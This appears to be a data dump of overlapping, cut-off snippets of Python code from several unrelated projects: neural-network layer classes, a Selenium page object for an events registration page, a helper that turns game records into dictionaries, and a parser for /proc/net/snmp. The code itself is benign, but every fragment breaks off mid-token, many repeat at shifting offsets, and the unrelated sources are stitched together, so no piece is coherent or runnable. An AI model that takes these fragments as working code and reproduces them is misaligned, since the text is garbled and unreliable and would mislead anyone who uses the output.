do_append(self, pos: int, logits: Node, labels: Node): pass class Dense(Layer): default_weight_initializer", "Node, Graph from ..core.static_shape import Dim from ..utils import validate from ..utils.naming import", "cnt_features = cost_g.shape[0] w_name = self.new_var_name(\"W\") b_name = self.new_var_name(\"b\") w = f.var(w_name, self.weight_initializer,", "Node): sigmoid = f.sigmoid(predict_graph, name=self.layer_name + \"_sigmoid\") cross_entropy = f.sigmoid_cross_entropy(cost_graph, labels, name=self.layer_name) gt", "f.softmax(predict_graph, name=self.layer_name + \"_softmax\") argmax = f.argmax(softmax, name=self.layer_name + \"_argmax\") return entropy, argmax", "layers, classifier, regularizer=None): super().__init__() self.layer_names = NameGenerator() self.cnt_features = Dim.of(cnt_features) self.cnt_samples = Dim.unknown()", "cnt_features)) b = f.var(b_name, self.bias_initializer, shape=(self.neurons, 1)) cost_fc = f.fully_connected(cost_g, w, b, first_layer=(pos", "reg = f.l2_norm_regularizer(self.lambd, dim, vars, name=self.layer_name) if self.lambd > 0: return cost_graph +", "return self.do_append(pos, logits, labels) @abc.abstractmethod def do_append(self, pos: int, logits: Node, labels: Node):", "lambd=0.8): self.lambd = lambd def do_append(self, cost_graph: Node, vars, inputs): dim = f.dim(inputs,", "init.ZeroInitializer() default_gamma_initializer = init.OneInitializer() def __init__(self, beta_initializer=None, gamma_initializer=None): self.beta_initializer = self.default_beta_initializer \\ if", "labels: Node): pass class Dense(Layer): default_weight_initializer = init.HeInitializer() default_bias_initializer = init.ZeroInitializer() def __init__(self,", "cost_graph = regularizer.append(self.layer_names, cost_graph, regularizable_vars, self.inputs) self.cost_graph = Graph(cost_graph) self.predict_graph = Graph(predict_graph) class", "pos, cost_g, predict_g): # TODO Allow different axis for the \"features\" and \"examples\"", "feed_cost_graph(self, x_train, y_train): self.cost_graph.placeholders = {self.inputs: x_train, self.labels: y_train} class Sequence(Network): def __init__(self,", "for pos, layer in enumerate(layers): cost_graph, predict_graph, vars = layer.append(pos, self.layer_names, cost_graph, predict_graph)", "labels) @abc.abstractmethod def do_append(self, pos: int, logits: Node, labels: Node): pass class Dense(Layer):", "if gamma_initializer is None else gamma_initializer def do_append(self, pos, cost_graph, predict_graph): cnt_features =", "pos: int, name_generator: NameGenerator, logits: Node, labels: Node): self.prepare_names(name_generator) return self.do_append(pos, logits, labels)", "evaluate_cost(self, x_train, y_train): self.feed_cost_graph(x_train, y_train) return self.cost_graph.evaluate() def initialize_variables(self): self.cost_graph.initialize_variables() def feed_cost_graph(self, x_train,", "append(self, name_generator, cost_graph: Node, predict_graph: Node, labels: Node): self.prepare_names(name_generator) return self.do_append(cost_graph, predict_graph, labels)", "probability should be between 0 and 1\") self.keep_prob = keep_prob def do_append(self, pos,", "x_train, self.labels: y_train} class Sequence(Network): def __init__(self, cnt_features: int, layers, classifier, regularizer=None): super().__init__()" ]
[ "-*- coding: utf-8 -*- \"\"\"Event Registration Page Object.\"\"\" from selenium.webdriver.remote.webdriver import WebDriver from", "URLs from directory_tests_shared.enums import PageType, Service from directory_tests_shared.utils import check_url_path_matches_template NAME = \"Registration\"", "from directory_tests_shared.enums import PageType, Service from directory_tests_shared.utils import check_url_path_matches_template NAME = \"Registration\" SERVICE", "= Service.EVENTS TYPE = PageType.FORM URL = URLs.EVENTS_REGISTRATION.absolute_template SELECTORS = {} def should_be_here(driver:", "directory_tests_shared.enums import PageType, Service from directory_tests_shared.utils import check_url_path_matches_template NAME = \"Registration\" SERVICE =", "Service from directory_tests_shared.utils import check_url_path_matches_template NAME = \"Registration\" SERVICE = Service.EVENTS TYPE =", "WebDriver from directory_tests_shared import URLs from directory_tests_shared.enums import PageType, Service from directory_tests_shared.utils import", "PageType, Service from directory_tests_shared.utils import check_url_path_matches_template NAME = \"Registration\" SERVICE = Service.EVENTS TYPE", "directory_tests_shared.utils import check_url_path_matches_template NAME = \"Registration\" SERVICE = Service.EVENTS TYPE = PageType.FORM URL", "import check_url_path_matches_template NAME = \"Registration\" SERVICE = Service.EVENTS TYPE = PageType.FORM URL =", "import PageType, Service from directory_tests_shared.utils import check_url_path_matches_template NAME = \"Registration\" SERVICE = Service.EVENTS", "Service.EVENTS TYPE = PageType.FORM URL = URLs.EVENTS_REGISTRATION.absolute_template SELECTORS = {} def should_be_here(driver: WebDriver):", "Page Object.\"\"\" from selenium.webdriver.remote.webdriver import WebDriver from directory_tests_shared import URLs from directory_tests_shared.enums import", "\"\"\"Event Registration Page Object.\"\"\" from selenium.webdriver.remote.webdriver import WebDriver from directory_tests_shared import URLs from", "= PageType.FORM URL = URLs.EVENTS_REGISTRATION.absolute_template SELECTORS = {} def should_be_here(driver: WebDriver): check_url_path_matches_template(URL, driver.current_url)", "utf-8 -*- \"\"\"Event Registration Page Object.\"\"\" from selenium.webdriver.remote.webdriver import WebDriver from directory_tests_shared import", "Object.\"\"\" from selenium.webdriver.remote.webdriver import WebDriver from directory_tests_shared import URLs from directory_tests_shared.enums import PageType,", "-*- \"\"\"Event Registration Page Object.\"\"\" from selenium.webdriver.remote.webdriver import WebDriver from directory_tests_shared import URLs", "import WebDriver from directory_tests_shared import URLs from directory_tests_shared.enums import PageType, Service from directory_tests_shared.utils", "TYPE = PageType.FORM URL = URLs.EVENTS_REGISTRATION.absolute_template SELECTORS = {} def should_be_here(driver: WebDriver): check_url_path_matches_template(URL,", "import URLs from directory_tests_shared.enums import PageType, Service from directory_tests_shared.utils import check_url_path_matches_template NAME =", "<filename>tests/browser/pages/external/events_registration.py # -*- coding: utf-8 -*- \"\"\"Event Registration Page Object.\"\"\" from selenium.webdriver.remote.webdriver import", "\"Registration\" SERVICE = Service.EVENTS TYPE = PageType.FORM URL = URLs.EVENTS_REGISTRATION.absolute_template SELECTORS = {}", "SERVICE = Service.EVENTS TYPE = PageType.FORM URL = URLs.EVENTS_REGISTRATION.absolute_template SELECTORS = {} def", "Registration Page Object.\"\"\" from selenium.webdriver.remote.webdriver import WebDriver from directory_tests_shared import URLs from directory_tests_shared.enums", "from selenium.webdriver.remote.webdriver import WebDriver from directory_tests_shared import URLs from directory_tests_shared.enums import PageType, Service", "NAME = \"Registration\" SERVICE = Service.EVENTS TYPE = PageType.FORM URL = URLs.EVENTS_REGISTRATION.absolute_template SELECTORS", "coding: utf-8 -*- \"\"\"Event Registration Page Object.\"\"\" from selenium.webdriver.remote.webdriver import WebDriver from directory_tests_shared", "directory_tests_shared import URLs from directory_tests_shared.enums import PageType, Service from directory_tests_shared.utils import check_url_path_matches_template NAME", "from directory_tests_shared.utils import check_url_path_matches_template NAME = \"Registration\" SERVICE = Service.EVENTS TYPE = PageType.FORM", "selenium.webdriver.remote.webdriver import WebDriver from directory_tests_shared import URLs from directory_tests_shared.enums import PageType, Service from", "check_url_path_matches_template NAME = \"Registration\" SERVICE = Service.EVENTS TYPE = PageType.FORM URL = URLs.EVENTS_REGISTRATION.absolute_template", "= \"Registration\" SERVICE = Service.EVENTS TYPE = PageType.FORM URL = URLs.EVENTS_REGISTRATION.absolute_template SELECTORS =", "# -*- coding: utf-8 -*- \"\"\"Event Registration Page Object.\"\"\" from selenium.webdriver.remote.webdriver import WebDriver", "from directory_tests_shared import URLs from directory_tests_shared.enums import PageType, Service from directory_tests_shared.utils import check_url_path_matches_template" ]
[ "\".join(string_list) else: joined_string = \", \".join(string_list[:-1]) joined_string = joined_string + \", and \"", "len(string_list) == 1: return \"\".join(string_list) elif len(string_list) == 2: return \" and \".join(string_list)", "for player in game.players.all(): if player != empous_user: players.append(player.first_name) game_stats['enemies'] = players game_stats['screenshot_url']", "= list() for player in game.players.all(): if player != empous_user: players.append(player.first_name) game_stats['enemies'] =", "= \", \".join(string_list[:-1]) joined_string = joined_string + \", and \" + string_list[-1] return", "game.screenshot_file.url game_stats['json_state'] = game.json_serialized_game game_list[game.id] = game_stats return game_list def join_with_commas_with_and(string_list): if len(string_list)", "!= empous_user: players.append(player.first_name) game_stats['enemies'] = players game_stats['screenshot_url'] = game.screenshot_file.url game_stats['json_state'] = game.json_serialized_game game_list[game.id]", "1: return \"\".join(string_list) elif len(string_list) == 2: return \" and \".join(string_list) else: joined_string", "game.victor == empous_user: game_stats['isVictor'] = \"yes\" else: game_stats['isVictor'] = \"no\" if game.current_player ==", "game_stats['isVictor'] = \"no\" if game.current_player == empous_user: game_stats['isTurn'] = \"yes\" else: game_stats['isTurn'] =", "def dictify_games(games, empous_user): game_list = dict() for game in games: game_stats = dict()", "game_list def join_with_commas_with_and(string_list): if len(string_list) == 1: return \"\".join(string_list) elif len(string_list) == 2:", "joined_string = \", \".join(string_list[:-1]) joined_string = joined_string + \", and \" + string_list[-1]", "\" and \".join(string_list) else: joined_string = \", \".join(string_list[:-1]) joined_string = joined_string + \",", "\"yes\" else: game_stats['isTurn'] = \"no\" game_stats['current_player'] = game.current_player.first_name #Go through the enemies to", "game_stats['json_state'] = game.json_serialized_game game_list[game.id] = game_stats return game_list def join_with_commas_with_and(string_list): if len(string_list) ==", "empous_user: game_stats['isTurn'] = \"yes\" else: game_stats['isTurn'] = \"no\" game_stats['current_player'] = game.current_player.first_name #Go through", "if len(string_list) == 1: return \"\".join(string_list) elif len(string_list) == 2: return \" and", "players.append(player.first_name) game_stats['enemies'] = players game_stats['screenshot_url'] = game.screenshot_file.url game_stats['json_state'] = game.json_serialized_game game_list[game.id] = game_stats", "= \"no\" if game.current_player == empous_user: game_stats['isTurn'] = \"yes\" else: game_stats['isTurn'] = \"no\"", "of games def dictify_games(games, empous_user): game_list = dict() for game in games: game_stats", "for game in games: game_stats = dict() game_stats[\"id\"] = game.id if game.victor ==", "else: game_stats['isTurn'] = \"no\" game_stats['current_player'] = game.current_player.first_name #Go through the enemies to give", "player != empous_user: players.append(player.first_name) game_stats['enemies'] = players game_stats['screenshot_url'] = game.screenshot_file.url game_stats['json_state'] = game.json_serialized_game", "game_list[game.id] = game_stats return game_list def join_with_commas_with_and(string_list): if len(string_list) == 1: return \"\".join(string_list)", "games: game_stats = dict() game_stats[\"id\"] = game.id if game.victor == empous_user: game_stats['isVictor'] =", "give more info players = list() for player in game.players.all(): if player !=", "== empous_user: game_stats['isVictor'] = \"yes\" else: game_stats['isVictor'] = \"no\" if game.current_player == empous_user:", "empous_user: game_stats['isVictor'] = \"yes\" else: game_stats['isVictor'] = \"no\" if game.current_player == empous_user: game_stats['isTurn']", "if game.current_player == empous_user: game_stats['isTurn'] = \"yes\" else: game_stats['isTurn'] = \"no\" game_stats['current_player'] =", "to give more info players = list() for player in game.players.all(): if player", "dict() for game in games: game_stats = dict() game_stats[\"id\"] = game.id if game.victor", "game_stats['isTurn'] = \"yes\" else: game_stats['isTurn'] = \"no\" game_stats['current_player'] = game.current_player.first_name #Go through the", "if game.victor == empous_user: game_stats['isVictor'] = \"yes\" else: game_stats['isVictor'] = \"no\" if game.current_player", "in game.players.all(): if player != empous_user: players.append(player.first_name) game_stats['enemies'] = players game_stats['screenshot_url'] = game.screenshot_file.url", "player in game.players.all(): if player != empous_user: players.append(player.first_name) game_stats['enemies'] = players game_stats['screenshot_url'] =", "players = list() for player in game.players.all(): if player != empous_user: players.append(player.first_name) game_stats['enemies']", "dictify_games(games, empous_user): game_list = dict() for game in games: game_stats = dict() game_stats[\"id\"]", "the enemies to give more info players = list() for player in game.players.all():", "join_with_commas_with_and(string_list): if len(string_list) == 1: return \"\".join(string_list) elif len(string_list) == 2: return \"", "= \"no\" game_stats['current_player'] = game.current_player.first_name #Go through the enemies to give more info", "= players game_stats['screenshot_url'] = game.screenshot_file.url game_stats['json_state'] = game.json_serialized_game game_list[game.id] = game_stats return game_list", "== 1: return \"\".join(string_list) elif len(string_list) == 2: return \" and \".join(string_list) else:", "game_stats['current_player'] = game.current_player.first_name #Go through the enemies to give more info players =", "if player != empous_user: players.append(player.first_name) game_stats['enemies'] = players game_stats['screenshot_url'] = game.screenshot_file.url game_stats['json_state'] =", "== 2: return \" and \".join(string_list) else: joined_string = \", \".join(string_list[:-1]) joined_string =", "= game.json_serialized_game game_list[game.id] = game_stats return game_list def join_with_commas_with_and(string_list): if len(string_list) == 1:", "= \"yes\" else: game_stats['isTurn'] = \"no\" game_stats['current_player'] = game.current_player.first_name #Go through the enemies", "empous_user: players.append(player.first_name) game_stats['enemies'] = players game_stats['screenshot_url'] = game.screenshot_file.url game_stats['json_state'] = game.json_serialized_game game_list[game.id] =", "#Takes in a list of games def dictify_games(games, empous_user): game_list = dict() for", "a list of games def dictify_games(games, empous_user): game_list = dict() for game in", "game_list = dict() for game in games: game_stats = dict() game_stats[\"id\"] = game.id", "game.id if game.victor == empous_user: game_stats['isVictor'] = \"yes\" else: game_stats['isVictor'] = \"no\" if", "= game.current_player.first_name #Go through the enemies to give more info players = list()", "return \" and \".join(string_list) else: joined_string = \", \".join(string_list[:-1]) joined_string = joined_string +", "= dict() for game in games: game_stats = dict() game_stats[\"id\"] = game.id if", "game in games: game_stats = dict() game_stats[\"id\"] = game.id if game.victor == empous_user:", "game_stats['enemies'] = players game_stats['screenshot_url'] = game.screenshot_file.url game_stats['json_state'] = game.json_serialized_game game_list[game.id] = game_stats return", "elif len(string_list) == 2: return \" and \".join(string_list) else: joined_string = \", \".join(string_list[:-1])", "return game_list def join_with_commas_with_and(string_list): if len(string_list) == 1: return \"\".join(string_list) elif len(string_list) ==", "through the enemies to give more info players = list() for player in", "\"no\" if game.current_player == empous_user: game_stats['isTurn'] = \"yes\" else: game_stats['isTurn'] = \"no\" game_stats['current_player']", "games def dictify_games(games, empous_user): game_list = dict() for game in games: game_stats =", "\"\".join(string_list) elif len(string_list) == 2: return \" and \".join(string_list) else: joined_string = \",", "in games: game_stats = dict() game_stats[\"id\"] = game.id if game.victor == empous_user: game_stats['isVictor']", "\"yes\" else: game_stats['isVictor'] = \"no\" if game.current_player == empous_user: game_stats['isTurn'] = \"yes\" else:", "def join_with_commas_with_and(string_list): if len(string_list) == 1: return \"\".join(string_list) elif len(string_list) == 2: return", "<reponame>Slruh/Empous-Control-The-World #Takes in a list of games def dictify_games(games, empous_user): game_list = dict()", "2: return \" and \".join(string_list) else: joined_string = \", \".join(string_list[:-1]) joined_string = joined_string", "in a list of games def dictify_games(games, empous_user): game_list = dict() for game", "game.current_player == empous_user: game_stats['isTurn'] = \"yes\" else: game_stats['isTurn'] = \"no\" game_stats['current_player'] = game.current_player.first_name", "game_stats['isTurn'] = \"no\" game_stats['current_player'] = game.current_player.first_name #Go through the enemies to give more", "= game_stats return game_list def join_with_commas_with_and(string_list): if len(string_list) == 1: return \"\".join(string_list) elif", "= game.id if game.victor == empous_user: game_stats['isVictor'] = \"yes\" else: game_stats['isVictor'] = \"no\"", "game_stats[\"id\"] = game.id if game.victor == empous_user: game_stats['isVictor'] = \"yes\" else: game_stats['isVictor'] =", "else: game_stats['isVictor'] = \"no\" if game.current_player == empous_user: game_stats['isTurn'] = \"yes\" else: game_stats['isTurn']", "players game_stats['screenshot_url'] = game.screenshot_file.url game_stats['json_state'] = game.json_serialized_game game_list[game.id] = game_stats return game_list def", "return \"\".join(string_list) elif len(string_list) == 2: return \" and \".join(string_list) else: joined_string =", "== empous_user: game_stats['isTurn'] = \"yes\" else: game_stats['isTurn'] = \"no\" game_stats['current_player'] = game.current_player.first_name #Go", "\"no\" game_stats['current_player'] = game.current_player.first_name #Go through the enemies to give more info players", "game.json_serialized_game game_list[game.id] = game_stats return game_list def join_with_commas_with_and(string_list): if len(string_list) == 1: return", "game_stats return game_list def join_with_commas_with_and(string_list): if len(string_list) == 1: return \"\".join(string_list) elif len(string_list)", "game_stats['isVictor'] = \"yes\" else: game_stats['isVictor'] = \"no\" if game.current_player == empous_user: game_stats['isTurn'] =", "game.players.all(): if player != empous_user: players.append(player.first_name) game_stats['enemies'] = players game_stats['screenshot_url'] = game.screenshot_file.url game_stats['json_state']", "#Go through the enemies to give more info players = list() for player", "else: joined_string = \", \".join(string_list[:-1]) joined_string = joined_string + \", and \" +", "more info players = list() for player in game.players.all(): if player != empous_user:", "= \"yes\" else: game_stats['isVictor'] = \"no\" if game.current_player == empous_user: game_stats['isTurn'] = \"yes\"", "game_stats = dict() game_stats[\"id\"] = game.id if game.victor == empous_user: game_stats['isVictor'] = \"yes\"", "enemies to give more info players = list() for player in game.players.all(): if", "len(string_list) == 2: return \" and \".join(string_list) else: joined_string = \", \".join(string_list[:-1]) joined_string", "and \".join(string_list) else: joined_string = \", \".join(string_list[:-1]) joined_string = joined_string + \", and", "list() for player in game.players.all(): if player != empous_user: players.append(player.first_name) game_stats['enemies'] = players", "empous_user): game_list = dict() for game in games: game_stats = dict() game_stats[\"id\"] =", "dict() game_stats[\"id\"] = game.id if game.victor == empous_user: game_stats['isVictor'] = \"yes\" else: game_stats['isVictor']", "\", \".join(string_list[:-1]) joined_string = joined_string + \", and \" + string_list[-1] return joined_string", "info players = list() for player in game.players.all(): if player != empous_user: players.append(player.first_name)", "list of games def dictify_games(games, empous_user): game_list = dict() for game in games:", "= game.screenshot_file.url game_stats['json_state'] = game.json_serialized_game game_list[game.id] = game_stats return game_list def join_with_commas_with_and(string_list): if", "game.current_player.first_name #Go through the enemies to give more info players = list() for", "game_stats['screenshot_url'] = game.screenshot_file.url game_stats['json_state'] = game.json_serialized_game game_list[game.id] = game_stats return game_list def join_with_commas_with_and(string_list):", "= dict() game_stats[\"id\"] = game.id if game.victor == empous_user: game_stats['isVictor'] = \"yes\" else:" ]
[ "The net/snmp file is a series of records keyed on subcategories ''' LOGGER.debug(\"Normalize\")", "OutType0 OutType3 IcmpMsg: 91 81 81 87 Tcp: RtoAlgorithm RtoMin RtoMax MaxConn ActiveOpens", "Typical contents of file /proc/net/snmp:: Ip: Forwarding DefaultTTL InReceives InHdrErrors InAddrErrors ForwDatagrams InUnknownProtos", "0 87 0 0 0 0 0 81 0 0 0 0 IcmpMsg:", "fkey = '' fvals = [] for i, line in enumerate(lines): top, tail", "vals = tail.lstrip().split() if i % 2: if fkey == key: ret[key] =", "fvals, [int(val) for val in vals] ) ) else: fkey = key fvals", "0 0 0 Icmp: InMsgs InErrors InDestUnreachs InTimeExcds InParmProbs InSrcQuenchs InRedirects InEchos InEchoReps", "0 0 0 0 0 0 Icmp: InMsgs InErrors InDestUnreachs InTimeExcds InParmProbs InSrcQuenchs", "InErrors InDestUnreachs InTimeExcds InParmProbs InSrcQuenchs InRedirects InEchos InEchoReps InTimestamps InTimestampReps InAddrMasks InAddrMaskReps OutMsgs", "SndbufErrors UdpLite: 0 0 0 0 0 0 ''' from logging import getLogger", "of records keyed on subcategories ''' LOGGER.debug(\"Normalize\") lines = self.lines ret = {}", "= tail.lstrip().split() if i % 2: if fkey == key: ret[key] = dict(", "-1 70054 4198 337 2847 43 1880045 1741596 7213 0 3044 Udp: InDatagrams", "is a series of records keyed on subcategories ''' LOGGER.debug(\"Normalize\") lines = self.lines", "Ip: 1 64 2354322 0 0 0 0 0 2282006 2066446 0 0", "RtoMin RtoMax MaxConn ActiveOpens PassiveOpens AttemptFails EstabResets CurrEstab InSegs OutSegs RetransSegs InErrs OutRsts", "for i, line in enumerate(lines): top, tail = line.split(':') key = top.lstrip() vals", "Icmp: 172 0 91 0 0 0 0 81 0 0 0 0", "81 87 Tcp: RtoAlgorithm RtoMin RtoMax MaxConn ActiveOpens PassiveOpens AttemptFails EstabResets CurrEstab InSegs", "contents of file /proc/net/snmp:: Ip: Forwarding DefaultTTL InReceives InHdrErrors InAddrErrors ForwDatagrams InUnknownProtos InDiscards", "7213 0 3044 Udp: InDatagrams NoPorts InErrors OutDatagrams RcvbufErrors SndbufErrors Udp: 344291 8", "InReceives InHdrErrors InAddrErrors ForwDatagrams InUnknownProtos InDiscards InDelivers OutRequests OutDiscards OutNoRoutes ReasmTimeout ReasmReqds ReasmOKs", "0 Icmp: InMsgs InErrors InDestUnreachs InTimeExcds InParmProbs InSrcQuenchs InRedirects InEchos InEchoReps InTimestamps InTimestampReps", "OutRequests OutDiscards OutNoRoutes ReasmTimeout ReasmReqds ReasmOKs ReasmFails FragOKs FragFails FragCreates Ip: 1 64", "0 0 0 81 0 0 0 0 0 168 0 87 0", "RcvbufErrors SndbufErrors UdpLite: 0 0 0 0 0 0 ''' from logging import", "from os import path as ospath from .readfile import ReadFile LOGGER = getLogger(__name__)", "InDestUnreachs InTimeExcds InParmProbs InSrcQuenchs InRedirects InEchos InEchoReps InTimestamps InTimestampReps InAddrMasks InAddrMaskReps OutMsgs OutErrors", "337 2847 43 1880045 1741596 7213 0 3044 Udp: InDatagrams NoPorts InErrors OutDatagrams", "keyed on subcategories ''' LOGGER.debug(\"Normalize\") lines = self.lines ret = {} fkey =", "Icmp: InMsgs InErrors InDestUnreachs InTimeExcds InParmProbs InSrcQuenchs InRedirects InEchos InEchoReps InTimestamps InTimestampReps InAddrMasks", "0 0 UdpLite: InDatagrams NoPorts InErrors OutDatagrams RcvbufErrors SndbufErrors UdpLite: 0 0 0", "'snmp') KEY = 'netsnmp' def normalize(self): ''' Translates data into dictionary The net/snmp", "key: ret[key] = dict( zip( fvals, [int(val) for val in vals] ) )", "% 2: if fkey == key: ret[key] = dict( zip( fvals, [int(val) for", "87 Tcp: RtoAlgorithm RtoMin RtoMax MaxConn ActiveOpens PassiveOpens AttemptFails EstabResets CurrEstab InSegs OutSegs", "InHdrErrors InAddrErrors ForwDatagrams InUnknownProtos InDiscards InDelivers OutRequests OutDiscards OutNoRoutes ReasmTimeout ReasmReqds ReasmOKs ReasmFails", "getLogger(__name__) class NetSnmp(ReadFile): ''' NetSnmp handling ''' FILENAME = ospath.join('proc', 'net', 'snmp') KEY", "== key: ret[key] = dict( zip( fvals, [int(val) for val in vals] )", "ReasmOKs ReasmFails FragOKs FragFails FragCreates Ip: 1 64 2354322 0 0 0 0", "168 0 87 0 0 0 0 0 81 0 0 0 0", "8 376 317708 0 0 UdpLite: InDatagrams NoPorts InErrors OutDatagrams RcvbufErrors SndbufErrors UdpLite:", "the NetSnmp() class Typical contents of file /proc/net/snmp:: Ip: Forwarding DefaultTTL InReceives InHdrErrors", "records keyed on subcategories ''' LOGGER.debug(\"Normalize\") lines = self.lines ret = {} fkey", "= top.lstrip() vals = tail.lstrip().split() if i % 2: if fkey == key:", "4198 337 2847 43 1880045 1741596 7213 0 3044 Udp: InDatagrams NoPorts InErrors", "= [] for i, line in enumerate(lines): top, tail = line.split(':') key =", "317708 0 0 UdpLite: InDatagrams NoPorts InErrors OutDatagrams RcvbufErrors SndbufErrors UdpLite: 0 0", "NetSnmp(ReadFile): ''' NetSnmp handling ''' FILENAME = ospath.join('proc', 'net', 'snmp') KEY = 'netsnmp'", "0 0 0 81 0 0 0 0 IcmpMsg: InType3 InType8 OutType0 OutType3", "200 120000 -1 70054 4198 337 2847 43 1880045 1741596 7213 0 3044", "dict( zip( fvals, [int(val) for val in vals] ) ) else: fkey =", "2847 43 1880045 1741596 7213 0 3044 Udp: InDatagrams NoPorts InErrors OutDatagrams RcvbufErrors", "InEchos InEchoReps InTimestamps InTimestampReps InAddrMasks InAddrMaskReps OutMsgs OutErrors OutDestUnreachs OutTimeExcds OutParmProbs OutSrcQuenchs OutRedirects", "0 0 0 0 0 0 0 Icmp: InMsgs InErrors InDestUnreachs InTimeExcds InParmProbs", "OutAddrMasks OutAddrMaskReps Icmp: 172 0 91 0 0 0 0 81 0 0", "81 0 0 0 0 0 168 0 87 0 0 0 0", "if fkey == key: ret[key] = dict( zip( fvals, [int(val) for val in", "0 0 Icmp: InMsgs InErrors InDestUnreachs InTimeExcds InParmProbs InSrcQuenchs InRedirects InEchos InEchoReps InTimestamps", "91 0 0 0 0 81 0 0 0 0 0 168 0", "InErrors OutDatagrams RcvbufErrors SndbufErrors UdpLite: 0 0 0 0 0 0 ''' from", "AttemptFails EstabResets CurrEstab InSegs OutSegs RetransSegs InErrs OutRsts Tcp: 1 200 120000 -1", "NoPorts InErrors OutDatagrams RcvbufErrors SndbufErrors UdpLite: 0 0 0 0 0 0 '''", "tail = line.split(':') key = top.lstrip() vals = tail.lstrip().split() if i % 2:", "/proc/net/snmp:: Ip: Forwarding DefaultTTL InReceives InHdrErrors InAddrErrors ForwDatagrams InUnknownProtos InDiscards InDelivers OutRequests OutDiscards", "0 0 2282006 2066446 0 0 0 0 0 0 0 0 0", "InSrcQuenchs InRedirects InEchos InEchoReps InTimestamps InTimestampReps InAddrMasks InAddrMaskReps OutMsgs OutErrors OutDestUnreachs OutTimeExcds OutParmProbs", "file is a series of records keyed on subcategories ''' LOGGER.debug(\"Normalize\") lines =", "OutDestUnreachs OutTimeExcds OutParmProbs OutSrcQuenchs OutRedirects OutEchos OutEchoReps OutTimestamps OutTimestampReps OutAddrMasks OutAddrMaskReps Icmp: 172", "InDiscards InDelivers OutRequests OutDiscards OutNoRoutes ReasmTimeout ReasmReqds ReasmOKs ReasmFails FragOKs FragFails FragCreates Ip:", "0 81 0 0 0 0 IcmpMsg: InType3 InType8 OutType0 OutType3 IcmpMsg: 91", "0 0 0 0 0 ''' from logging import getLogger from os import", "ospath.join('proc', 'net', 'snmp') KEY = 'netsnmp' def normalize(self): ''' Translates data into dictionary", "0 0 0 0 0 0 ''' from logging import getLogger from os", "KEY = 'netsnmp' def normalize(self): ''' Translates data into dictionary The net/snmp file", "OutTimestampReps OutAddrMasks OutAddrMaskReps Icmp: 172 0 91 0 0 0 0 81 0", "0 0 0 0 168 0 87 0 0 0 0 0 81", "0 0 0 0 0 0 0 0 Icmp: InMsgs InErrors InDestUnreachs InTimeExcds", "OutParmProbs OutSrcQuenchs OutRedirects OutEchos OutEchoReps OutTimestamps OutTimestampReps OutAddrMasks OutAddrMaskReps Icmp: 172 0 91", "'netsnmp' def normalize(self): ''' Translates data into dictionary The net/snmp file is a", "0 0 0 0 Icmp: InMsgs InErrors InDestUnreachs InTimeExcds InParmProbs InSrcQuenchs InRedirects InEchos", "from .readfile import ReadFile LOGGER = getLogger(__name__) class NetSnmp(ReadFile): ''' NetSnmp handling '''", "InType8 OutType0 OutType3 IcmpMsg: 91 81 81 87 Tcp: RtoAlgorithm RtoMin RtoMax MaxConn", "InAddrMaskReps OutMsgs OutErrors OutDestUnreachs OutTimeExcds OutParmProbs OutSrcQuenchs OutRedirects OutEchos OutEchoReps OutTimestamps OutTimestampReps OutAddrMasks", "RetransSegs InErrs OutRsts Tcp: 1 200 120000 -1 70054 4198 337 2847 43", "'' fvals = [] for i, line in enumerate(lines): top, tail = line.split(':')", "OutAddrMaskReps Icmp: 172 0 91 0 0 0 0 81 0 0 0", "CurrEstab InSegs OutSegs RetransSegs InErrs OutRsts Tcp: 1 200 120000 -1 70054 4198", "ret = {} fkey = '' fvals = [] for i, line in", "OutDiscards OutNoRoutes ReasmTimeout ReasmReqds ReasmOKs ReasmFails FragOKs FragFails FragCreates Ip: 1 64 2354322", "[] for i, line in enumerate(lines): top, tail = line.split(':') key = top.lstrip()", "on subcategories ''' LOGGER.debug(\"Normalize\") lines = self.lines ret = {} fkey = ''", "as ospath from .readfile import ReadFile LOGGER = getLogger(__name__) class NetSnmp(ReadFile): ''' NetSnmp", "{} fkey = '' fvals = [] for i, line in enumerate(lines): top,", "in enumerate(lines): top, tail = line.split(':') key = top.lstrip() vals = tail.lstrip().split() if", "top, tail = line.split(':') key = top.lstrip() vals = tail.lstrip().split() if i %", "EstabResets CurrEstab InSegs OutSegs RetransSegs InErrs OutRsts Tcp: 1 200 120000 -1 70054", "= self.lines ret = {} fkey = '' fvals = [] for i,", "data into dictionary The net/snmp file is a series of records keyed on", "of file /proc/net/snmp:: Ip: Forwarding DefaultTTL InReceives InHdrErrors InAddrErrors ForwDatagrams InUnknownProtos InDiscards InDelivers", "87 0 0 0 0 0 81 0 0 0 0 IcmpMsg: InType3", "Tcp: 1 200 120000 -1 70054 4198 337 2847 43 1880045 1741596 7213", "ospath from .readfile import ReadFile LOGGER = getLogger(__name__) class NetSnmp(ReadFile): ''' NetSnmp handling", "OutRedirects OutEchos OutEchoReps OutTimestamps OutTimestampReps OutAddrMasks OutAddrMaskReps Icmp: 172 0 91 0 0", "Udp: InDatagrams NoPorts InErrors OutDatagrams RcvbufErrors SndbufErrors Udp: 344291 8 376 317708 0", "line.split(':') key = top.lstrip() vals = tail.lstrip().split() if i % 2: if fkey", "Udp: 344291 8 376 317708 0 0 UdpLite: InDatagrams NoPorts InErrors OutDatagrams RcvbufErrors", "NetSnmp() class Typical contents of file /proc/net/snmp:: Ip: Forwarding DefaultTTL InReceives InHdrErrors InAddrErrors", "91 81 81 87 Tcp: RtoAlgorithm RtoMin RtoMax MaxConn ActiveOpens PassiveOpens AttemptFails EstabResets", "81 81 87 Tcp: RtoAlgorithm RtoMin RtoMax MaxConn ActiveOpens PassiveOpens AttemptFails EstabResets CurrEstab", "OutDatagrams RcvbufErrors SndbufErrors UdpLite: 0 0 0 0 0 0 ''' from logging", "ReadFile LOGGER = getLogger(__name__) class NetSnmp(ReadFile): ''' NetSnmp handling ''' FILENAME = ospath.join('proc',", "InErrors OutDatagrams RcvbufErrors SndbufErrors Udp: 344291 8 376 317708 0 0 UdpLite: InDatagrams", "FragCreates Ip: 1 64 2354322 0 0 0 0 0 2282006 2066446 0", "'net', 'snmp') KEY = 'netsnmp' def normalize(self): ''' Translates data into dictionary The", "344291 8 376 317708 0 0 UdpLite: InDatagrams NoPorts InErrors OutDatagrams RcvbufErrors SndbufErrors", "2066446 0 0 0 0 0 0 0 0 0 Icmp: InMsgs InErrors", "InAddrMasks InAddrMaskReps OutMsgs OutErrors OutDestUnreachs OutTimeExcds OutParmProbs OutSrcQuenchs OutRedirects OutEchos OutEchoReps OutTimestamps OutTimestampReps", "''' Translates data into dictionary The net/snmp file is a series of records", "i, line in enumerate(lines): top, tail = line.split(':') key = top.lstrip() vals =", 